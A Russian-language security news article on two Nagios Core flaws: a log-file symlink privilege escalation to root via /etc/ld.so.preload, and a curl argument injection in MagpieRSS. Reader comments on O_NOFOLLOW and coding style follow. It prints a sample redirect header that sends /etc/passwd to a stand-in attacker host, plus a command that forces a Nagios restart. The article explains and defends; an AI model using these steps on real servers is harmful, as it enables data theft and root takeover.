Исследователь информационной безопасности Дэвид Голунски (Dawid Golunski) обнаружил серьезную уязвимость в популярной системе мониторинга ИТ-инфраструктуры Nagios. Ее эксплуатация позволяет злоумышленнику добиться повышения привилегий в системе.
В чем проблема
Демон Nagios Core версий ниже 4.2.4 осуществляет небезопасные операции при обработке лог-файла. Это может привести к тому, что атакующий сможет повысить свои привилегии с системного пользователя ‘nagios’ в группе ‘nagios’ до root-пользователя. Это ведет к полной компрометации системы, на которой установлен софт для мониторинга инфраструктуры.
Стандартная установка Nagios Core создает лог-директорию со следующими правами:
drwxrwsr-x 5 nagios nagios
Исследователь обнаружил, что демон Nagios при запуске системы сначала открывает лог-файл, а затем сбрасывает root-права:
8148 open("/usr/local/nagios/var/nagios.log",
O_RDWR|O_CREAT|O_APPEND, 0666) = 4
8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0
8148 fchown(4, 1001, 1001) = 0
8148 getegid() = 0
8148 setgid(1001) = 0
8148 geteuid() = 0
[...]
Это значит, что если атакующему удастся получить доступ к учетной записи ‘nagios’ или другой учетной записи из группы ‘nagios’, то он сможет заменить лог-файл симлинком на случайный файл в системе. Таким образом возможно повышение привилегий до root — например, с помощью специально созданного файла
/etc/ld.so.preload file
.По умолчанию он будет создан со следующими привилегиями nagios:
-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload
Таким образом права на запись есть у пользователя nagios, но не у членов группы nagios. Однако существует способ получить и права на запись для членов этой группы — для этого злоумышленнику нужно эксплуатировать уязвимость CVE-2016-9565 и ошибку в работе модуля командной строки Nagios (nagios.cmd).
Для того, чтобы новые привилегии вступили в силу, необходимо перезагрузить Nagios — и злоумышленник может также спровоцировать это действие. Для этого через командный интерфейс системы необходимо отправить команду SHUTDOWN_PROGRAM
/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd
Дэвид Голунски также разработал PoC-эксплоит, позволяющий повысить привилегии в системе до суперпользователя.
CVE-2016-9565
В версии Nagios 4.2.0 была исправлена уязвимость CVE-2008-4796 в компоненте MagpieRSS, позволяющая вставлять произвольные команды в качестве параметров к команде curl. Однако этот фикс остался уязвимым к использованию двойных кавычек — эта новая уязвимость получила номер CVE-2016-9565 и была окончательно исправлена только в версии 4.2.2.
Эксплуатация уязвимости заключается в изменении внутренней переменной $URI в функции _httpsrequest уязвимой компоненты при запросе RSS-ленты локальным сервером Nagios Core. В разных версиях системы RSS лента может подгружаться автоматически при логине. Для проведения атаки, атакующий должен выдать себя за сервер www.nagios.org, например, используя техники DNS spoofing или ARP poisoning. Стоит заметить, что эта атака может приобрести огромные масштабы при компрометации этого домена в масштабах больших ISP DNS резолверов. Затем, после успешной компрометации, злоумышленник ждёт запроса RSS ленты и отвечает HTTP 302 Redirect, с полем Location, содержащим параметры для curl. Например, это может выглядеть так:
Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd
Таким образом, злоумышленник может исполнить произвольные команды на локальном сервере Nagios, а затем, воспользоваться уязвимостью CVE-2016-9566 для повышения локальных привилегий.
Важно заметить то, что среди параметров для curl упоминается аргумент “-k”, который отключает проверку SSL сертификата, что также облегчает задачу злоумышленника.
Как защититься
Исправления для уязвимостей CVE-2016-9565 и CVE-2016-9566 появились в версиях 4.2.2 и 4.2.4 соответственно, поэтому администраторам серверов Nagios настоятельно рекомендуется обновиться до последней версии Nagios.
Эксперты Positive Technologies также разработали IDS сигнатуру для обнаружения попыток эксплуатации уязвимостей CVE-2008-4796 и CVE-2016-9565, доступную публично на GitHub и Twitter:
#Nagios Core Curl Command Injection / #RCE
— Attack Detection (@AttackDetection) 20 декабря 2016 г.
CVE-2016-9565
Affected: < 4.2.2#Suricata rules: https://t.co/vkidBDy3cN
Поделиться с друзьями
Комментарии (4)
VladimirKochetkov
29.12.2016 15:41Да, goto fail'ы при таком подходе так и просятся =/ В нашей команде, например, во избежание подобных недоразумений принято обрамлять скобками даже однострочники:
if (condition) { /* codeline */ }
Saffron
> Как защититься
> Исправления для уязвимостей CVE-2016-9565 и CVE-2016-9566 появились в версиях 4.2.2 и 4.2.4 соответственно, поэтому администраторам серверов Nagios настоятельно рекомендуется обновиться до последней версии Nagios.
А можно подробнее? Открыть файл и дропнуть привилегии — это очень частый паттерн. Так как же его правильно канонично реализовывать, если ты сам пишешь программы, а не обновляешь готовые? Проверять на тип файла, и если это ссылка — то не открывать его? Есть более изящные методы, и не нужно ли ещё каких проверок?
VladimirKochetkov
В данном случае, чтобы избежать прохода по символической ссылке, достаточно вызывать open с флагом O_NOFOLLOW. Рассматриваемая в статье уязвимость была устранена именно так.
ghostinushanka
Посмотрел коммит, увидел убирание скобок на 120/122.
Я знаю что так можно и сделано чтобы жрать меньше «пустых строк», но нам по рукам били за этот «антипаттерн» ещё когда это слово в употреблении не было. Сколько уже всплывало ошибок вызванных именно такими if'ами.
Мне интересно — я одинок в том, что при увиденном у меня физиономия скривилась, или это больше норма однострочники так оформлять?